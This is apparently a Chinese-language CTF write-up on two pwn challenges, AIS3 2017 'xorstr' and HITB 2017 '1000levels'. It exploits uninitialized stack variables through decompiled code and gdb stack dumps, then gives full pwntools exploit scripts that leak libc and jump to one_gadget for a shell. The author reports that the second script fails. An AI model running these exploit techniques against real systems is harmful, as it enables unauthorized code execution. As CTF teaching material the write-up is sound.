uninitial-vulnarable

两个未初始化的弱点利用题~

ais3-2017-final-xorstr

分析

本题依然给了libc,直接运行是如名字一样进行异或操作,只有这一个功能:

检查下保护,发现只有最基本的nx保护:

分析反编译代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall xorstr(char *input)
{
char s[128]; // [rsp+10h] [rbp-100h]
char result[128]; // [rsp+90h] [rbp-80h]

printf("What do you want to xor :");
read_input(s, 0x80u); //当输入0x80个字符时,是没有'\0'结尾的
xorlen = strlen(s); //当刚好输入0x80个非0字符,长度就会超出0x80
for ( count = 0; count < xorlen; ++count )
result[count] = input[count] ^ s[count];
return printf("Result:%s", result);
}
int process()
{
char input[128]; // [rsp+0h] [rbp-80h]

printf("Your string:");
read_input(input, 0x80u);
return xorstr((__int64)input);
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
double v3; // xmm0_8

init(v3);
while ( 1 )
process();
}

如上漏洞出现在xorstr函数中,当输入到s的字符个数刚好为0x80时,不会添加’\0’,观察栈布局,result刚好在s之上,初始时result第一个可能是’\0’,但是这个函数会被循环调用,可能就能控制result的值,于是就能控制xorlen的长度,于是使count超出0x80,result[count]就会溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ x/40gx 0x7fffffffdf40
0x7fffffffdf40: 0x6262626262626262 0x000000ff00000a62 <-s
0x7fffffffdf50: 0x0000000000000000 0x0000000000000000
0x7fffffffdf60: 0x0000000000000000 0x0000000000000000
0x7fffffffdf70: 0x0000000000000000 0x0000000000000000
0x7fffffffdf80: 0x00007fffffffe050 0x00007fffffffdf90
0x7fffffffdf90: 0x0000000000000000 0x00007fffffffe1c0
0x7fffffffdfa0: 0x0000ff00000000ff 0x0000000000000000
0x7fffffffdfb0: 0x00007fffffffe020 0x0000000000000000

0x7fffffffdfc0: 0x00007fffffffe050 0x00007ffff7b156f0 <-result
0x7fffffffdfd0: 0x0000000000000080 0x00007fffffffe050
0x7fffffffdfe0: 0x0000000000000000 0x00007ffff7fcf700
0x7fffffffdff0: 0x000000000000000c 0x0000000000000000
0x7fffffffe000: 0x0000000000000000 0x00007ffff7ffe170
0x7fffffffe010: 0x0000000000000005 0x00000000004007ea
0x7fffffffe020: 0x0000008000000000 0x00007fffffffe050
0x7fffffffe030: 0x0000000000000000 0x0000000bf7ffe170

0x7fffffffe040: 0x00007fffffffe0d0 0x0000000000400999 <-rbp retAddr

0x7fffffffe050: 0x6161616161616161 0x00000000000a6161 <-input
0x7fffffffe060: 0x00007fffffffe078 0x00007ffff7de30d1
0x7fffffffe070: 0x0000000000000000 0x0000000000000000

这是它们的内存布局与内容,可见bp=s[0x80]=result[0]^input[0x80]而此时result[0]=s[0]^input[0]同理可以推出返回地址,再逆推即可控制返回地址,这里有一个问题就是我们能控制s和input,但是不能控制input后的内容,但是通过观察程序可知input后紧接着rbp与retAddr,而rbp指向栈,可以通过前面的碎片泄露出来,后面指向process里面,这个位置固定,于是可以通过:

1
2
3
4
s[0x8:0x10]=0xffffffffffffffff
input[0x88:0x90]==0x4009b4
input[0x8:0x10]=one_gadget^s[0x8:0x10]^input[0x88:0x90]
ret = s[0x8:0x10]^input[0x8:0x10]^input[0x88:0x90]

这样ret = one_gadget啦,不过还有一件事,要使用one_gadget需要知道libc基址,通过观察发现result[8]处存放的是libc的内容,于是可以先泄露出来,在计算libcbase!

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# coding=utf-8
from pwn import *
binary,ip,port = 'xorstr','127.0.0.1',1234
one_gadget = 0xd691f

def init():
global p
if args.REMOTE:
p = remote(ip,port)
else:
p = process(binary)

def genP():
s = 'a'*0x80
# inp = 'b'*0x80
# s[0x8:0x10]=p64(0xffffffffffffffff)
inp136_144 = p64(0x4009b4)
inp8_16 = p64(one_gadget^u64('a'*8)^u64(inp136_144))
# print 'inp8_16:',hex(u64(inp8_16))
inp = 'b'*8+inp8_16+'\x00'*10
# inp[0x88:0x90]=p64(0x4009b4)
# inp[0x8:0x10]=p64(one_gadget^u64(s[0x8:0x10])^u64(inp[0x88:0x90]))

return inp,s
def mySend(inp,s):
p.sendafter('string:',inp)
p.sendafter('to xor :',s)

if __name__=='__main__':
init()
# gdb,attach(p)
mySend('\x00'*0x80,'\x01'*8)
tmp = p.recvuntil('Your')[7+8:-4]
tmp = u64(tmp+(8-len(tmp))*'\x00')
libcbase = tmp-0xdb6f0
print 'libc:',hex(libcbase)
one_gadget += libcbase
print 'one_gadget',hex(one_gadget)
inp,s = genP()
mySend('\x00'*0x80,'\x01'*0x40)
#raw_input('#')
# gdb.attach(p)

mySend(inp,s)
p.interactive()

结果

HITB-GSEC-CTF-2017-1000levels

分析

提供libc,运行是做计算,输入两次要次数,次数会相加,检查安全:

开了PIE有点难受,分析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*main*/
int __cdecl main(int argc, const char **argv, const char **envp)
{
int opt; // eax

init();
banner();
while ( 1 )
{
while ( 1 )
{
print_menu();
opt = read_num();
if ( opt != 2 )
break;
hint();
}
if ( opt == 3 )
break;
if ( opt == 1 )
go();
else
puts("Wrong input");
}
give_up();
return 0;
}

main就一个选单,没有什么明显的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*go*/
int go(void)
{
int v1; // ST0C_4
__int64 leve; // [rsp+0h] [rbp-120h]
__int64 levea; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 first; // [rsp+10h] [rbp-110h]
signed __int64 total; // [rsp+10h] [rbp-110h]
signed __int64 count; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]

puts("How many levels?");
leve = read_num();
if ( leve > 0 ) //当leve不大于0,first不会被赋值
first = leve;
else
puts("Coward");
puts("Any more?");
levea = read_num();
total = first + levea;
if ( total > 0 )
{
if ( total <= 999 )
{
count = total;
}
else
{
puts("More levels than before!");
count = 1000LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)level(count) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", count, (unsigned int)(v1 - v4), levea);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward");
}

如上,当leve不大于0时,first没有被初始化且未被赋值,直接使用将会出现问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*level*/
_BOOL8 __fastcall level(signed int count)
{
__int64 v2; // rax
char buf[32]; // [rsp+10h] [rbp-30h]
unsigned int v4; // [rsp+30h] [rbp-10h]
unsigned int v5; // [rsp+34h] [rbp-Ch]
unsigned int v6; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]

*(_QWORD *)buf = 0LL;
*(_QWORD *)&buf[8] = 0LL;
*(_QWORD *)&buf[16] = 0LL;
*(_QWORD *)&buf[24] = 0LL;
if ( !count )
return 1LL;
if ( (unsigned int)level(count - 1) == 0 )
return 0LL;
v6 = rand() % count;
v5 = rand() % count;
v4 = v5 * v6;
puts("====================================================");
printf("Level %d\n", (unsigned int)count);
printf("Question: %d * %d = ? Answer:", v6, v5);
for ( i = read(0, buf, 0x400uLL); i & 7; ++i ) //buf溢出
buf[i] = 0;
v2 = strtol(buf, 0LL, 10);
return v2 == v4;
}

如上一个明显的栈溢出,但是开了PIE有没有什么泄露,不能覆盖到有效的地址。

1
2
3
4
5
6
7
8
9
10
int hint(void)
{
char hintStr[264]; // [rsp+8h] [rbp-108h]

if ( show_hint )
sprintf(hintStr, "Hint: %p\n", &system);
else
strcpy(hintStr, "NO PWN NO FUN");
return puts(hintStr);
}

hint很关键,直接看似乎没什么问题,show_hint在bss处不能被改写,第一个分支进不去,但是看反汇编代码:
(/image1/2018-01-07-15-51-36.png)
无论是否要进入分支,他都会把数据放栈上,若在go里面这个数据未被覆盖能拿来用,那将是可利用的,幸运的是,他的确就在上面的分析的first上,他们处于同一地址,那么第一次输入0时,first的值将位system的地址,另外total = first + levea;的leavea是可控的,于是又控制了栈上一个数据,这样就有两种思路:

  1. go可循环进入,当total<=0时会返回Coward,于是从高到低即可爆出system的地址,知道地址即可覆盖返回地址,此时可以使用libc中的gadget构造system(“sh”),也可以直接使用one_gadget
  2. 直接使用one_gadget,将total改写为其地址,只需要在level函数返回时ret滑行即可到达total,这样的难点就是差一个ret gadget的地址了,开了pie其他部分都随机,可以利用vsyscall

代码

这里使用第二种方式,使用vsyscall,它的地址为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# coding=utf-8
from pwn import *
binary,ip,port = '1000levels','127.0.0.1',1234
one_gadget = 0x3f2d6
offset = one_gadget-0x000000000003f450
retAddr = 0xffffffffff600000
def init():
global p
if args.REMOTE:
p = remote(ip,port)
else:
p = process(binary)

def hint():
# gdb.attach(p)
# raw_input('#')
p.sendlineafter('Choice:\n','2')
def play():
p.recvuntil('Question: ')
expr = p.recvuntil('=')[:-1]
result = eval(expr)
log.info(expr+str(result))
p.sendlineafter('Answer:',str(result))

def go():
p.sendlineafter('Choice:\n','1')
# gdb.attach(p)
# raw_input('#')
p.sendlineafter('levels?\n','0')
# raw_input('#')
p.sendlineafter('more?\n',str(offset))
for _ in range(999):
play()
payload = 'a'*0x38+p64(retAddr)*3
# gdb,attach(p)
p.send(payload)
p.interactive()
if __name__=='__main__':
init()
hint()
go()
p.interactive()

然鹅失败了,不知道为什么vsyscall上会出现段错误。。。

参考

https://github.com/briansp8210/CTF-writeup/tree/master/AIS3-2017-final
http://www.cnblogs.com/wangaohui/p/7122653.html